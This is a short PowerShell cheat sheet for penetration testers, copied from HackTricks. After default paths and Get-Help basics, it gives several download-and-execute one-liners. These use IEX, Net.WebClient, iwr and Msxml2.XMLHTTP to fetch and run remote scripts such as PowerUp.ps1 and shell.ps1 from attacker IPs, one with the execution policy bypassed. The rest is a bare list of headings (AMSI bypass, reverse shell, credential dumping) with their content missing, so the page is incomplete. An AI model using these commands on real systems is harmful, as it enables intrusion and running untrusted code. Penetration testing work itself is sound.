Basic PowerShell for Pentesters
Copy & Pasted from https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters
Default PowerShell locations
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershellBasic PS commands to start
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>Download & Execute
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(Using b64 from linux
Download
System.Net.WebClient
Invoke-WebRequest
Wget
BitsTransfer
Base64 Kali & EncodedCommand
Execution Policy
Constrained language
Bypass
Direct bypass:
Reverse shell:
AppLockerPolicy
Enable WinRM (Remote PS)
Antivirus
PS-History
OS version and HotFixes
Environment
Other connected drives
Recycle Bin
Users
Secure String to Plaintext
SUDO
Groups
Clipboard
Processes
Services
Password from secure string
Scheduled Tasks
Network
Interfaces
Route
ARP
Hosts
SNMP
AMSI bypass
Last updated